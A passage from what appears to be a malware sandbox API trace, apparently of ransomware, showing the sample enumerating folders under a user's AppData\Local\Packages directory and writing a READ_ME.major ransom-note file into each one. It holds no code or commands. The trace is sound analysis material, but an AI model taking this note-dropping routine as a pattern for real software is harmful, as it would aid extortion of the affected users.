hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.987] CloseHandle (hObject=0x75c) returned 1 [0164.988] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1206ac31, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1206ac31, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1206ac31, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ActiveSync", cAlternateFileName="ACTIVE~1")) returned 1 [0164.988] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\ActiveSync\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\activesync\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0164.988] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.989] CloseHandle (hObject=0x75c) returned 1 [0164.989] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83eb0c97, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy", cAlternateFileName="C5E252~1")) returned 1 [0164.989] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.032] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.033] CloseHandle (hObject=0x75c) returned 1 [0165.033] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8306d465, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83105dc2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="CortanaListenUIApp_cw5n1h2txyewy", cAlternateFileName="CORTAN~1")) returned 1 [0165.033] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.097] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.098] CloseHandle (hObject=0x75c) returned 1 [0165.098] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81e65763, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="DesktopLearning_cw5n1h2txyewy", cAlternateFileName="DESKTO~2")) returned 1 [0165.098] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.111] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.112] CloseHandle (hObject=0x75c) returned 1 [0165.112] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80d4289c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="DesktopView_cw5n1h2txyewy", cAlternateFileName="DESKTO~1")) returned 1 [0165.112] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.148] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.148] CloseHandle (hObject=0x75c) returned 1 [0165.149] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f1d90f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79f1d90f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy", cAlternateFileName="E2A4F9~1")) returned 1 [0165.149] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.177] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.177] CloseHandle (hObject=0x75c) returned 1 [0165.178] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c48483f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EnvironmentsApp_cw5n1h2txyewy", cAlternateFileName="ENVIRO~1")) returned 1 [0165.178] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.229] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.230] CloseHandle (hObject=0x75c) returned 1 [0165.230] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7dbe9a15, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="HoloCamera_cw5n1h2txyewy", cAlternateFileName="HOLOCA~1")) returned 1 [0165.230] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.247] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.248] CloseHandle (hObject=0x75c) returned 1 [0165.248] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e48e2a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e48e2a2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="HoloItemPlayerApp_cw5n1h2txyewy", cAlternateFileName="HOLOIT~1")) returned 1 [0165.248] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.260] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.260] CloseHandle (hObject=0x75c) returned 1 [0165.260] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="HoloShell_cw5n1h2txyewy", cAlternateFileName="HOLOSH~1")) returned 1 [0165.261] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.335] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.335] CloseHandle (hObject=0x75c) returned 1 [0165.336] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50830815, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12383999, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x12383999, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.3DBuilder_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.3DB")) returned 1 [0165.336] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.342] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.343] CloseHandle (hObject=0x75c) returned 1 [0165.343] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a89eb27, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4609348, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd4609348, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy", cAlternateFileName="MICROS~1.BRO")) returned 1 [0165.343] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.344] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.344] CloseHandle (hObject=0x75c) returned 1 [0165.345] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x627e1477, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x802f4316, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80471ab5, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.AccountsControl_cw5n1h2txyewy", cAlternateFileName="MICROS~1.ACC")) returned 1 [0165.345] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.346] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.347] CloseHandle (hObject=0x75c) returned 1 [0165.347] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda8902b6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xda94ee85, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Advertising.Xaml_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.XAM")) returned 1 [0165.347] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Advertising.Xaml_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.advertising.xaml_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.349] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.349] CloseHandle (hObject=0x75c) returned 1 [0165.349] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cf90959, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfafb82b, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xfafb82b, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Appconnector_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.APP")) returned 1 [0165.350] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.352] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.352] CloseHandle (hObject=0x75c) returned 1 [0165.352] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc89dadb, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xc89dadb, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.BingFinance_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.BIN")) returned 1 [0165.352] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.354] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.355] CloseHandle (hObject=0x75c) returned 1 [0165.356] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xa0d44ca, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xa0d44ca, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.BingNews_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.BIN")) returned 1 [0165.356] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.357] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.358] CloseHandle (hObject=0x75c) returned 1 [0165.358] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x556dcf4, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x556dcf4, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.BingSports_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.BIN")) returned 1 [0165.358] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.360] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.361] CloseHandle (hObject=0x75c) returned 1 [0165.361] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428d1e5f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x31f6a27, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x31f6a27, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.BingWeather_8wekyb3d8bbwe", cAlternateFileName="MICROS~4.BIN")) returned 1 [0165.361] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.363] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.364] CloseHandle (hObject=0x75c) returned 1 [0165.364] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7d0704ba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7d17b532, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.BioEnrollment_cw5n1h2txyewy", cAlternateFileName="MICROS~1.BIO")) returned 1 [0165.364] CreateFileW 